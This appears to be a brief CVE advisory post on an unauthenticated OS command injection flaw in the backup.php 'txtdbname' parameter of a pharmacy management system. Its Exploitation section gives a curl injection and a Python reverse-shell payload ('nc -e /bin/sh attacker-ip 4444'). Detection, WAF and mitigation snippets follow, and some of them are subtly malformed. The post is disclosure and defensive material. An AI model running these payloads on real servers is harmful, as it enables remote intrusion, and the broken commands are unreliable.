SourceCodester Web-based Pharmacy Product Management System 10, OS Command Injection, CVE-2025-3729 (Critical)

How CVE-2025-3729 Works

CVE-2025-3729 is a critical OS command injection vulnerability in SourceCodester’s Web-based Pharmacy Product Management System 1.0. The flaw exists in `backup.php` due to improper sanitization of the `txtdbname` parameter. Attackers can inject malicious commands via this parameter, which are then executed on the server with web application privileges. The vulnerability is remotely exploitable without authentication, allowing attackers to compromise the underlying system. The database backup handler fails to validate user-supplied input before passing it to system shell commands, enabling arbitrary command execution.

DailyCVE Form

Platform: SourceCodester
Version: 1.0
Vulnerability: OS Command Injection
Severity: Critical
Date: 04/29/2025

What Undercode Say:

Exploitation:

curl -X POST "http://target.com/backup.php" -d "txtdbname=;id;uname+-a"
import requests
payload = ";nc -e /bin/sh attacker-ip 4444"
requests.post("http://victim.com/backup.php", data={"txtdbname": payload})

Detection:

grep -r "system(" /var/www/html/
SELECT FROM logs WHERE request LIKE "%txtdbname=%3B%"

Mitigation:

// Fix for backup.php
$dbname = escapeshellarg($_POST['txtdbname']);
system("mysqldump --user=root --password=pass " . $dbname);
location ~ /backup.php {
deny all;
}

Forensics:

auditd -l /var/log/audit.log -k txtdbname
journalctl -u apache2 --since "1 hour ago" | grep "sh"

Network Protection:

iptables -A INPUT -p tcp --dport 80 -m string --string "txtdbname=" --algo bm -j DROP
WAF Rule (ModSecurity)
SecRule ARGS:txtdbname "@rx [;|&]" "id:1001,deny,status:403"

Patch Verification:

php -l /var/www/html/backup.php
diff -u backup.php backup.php.patched

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top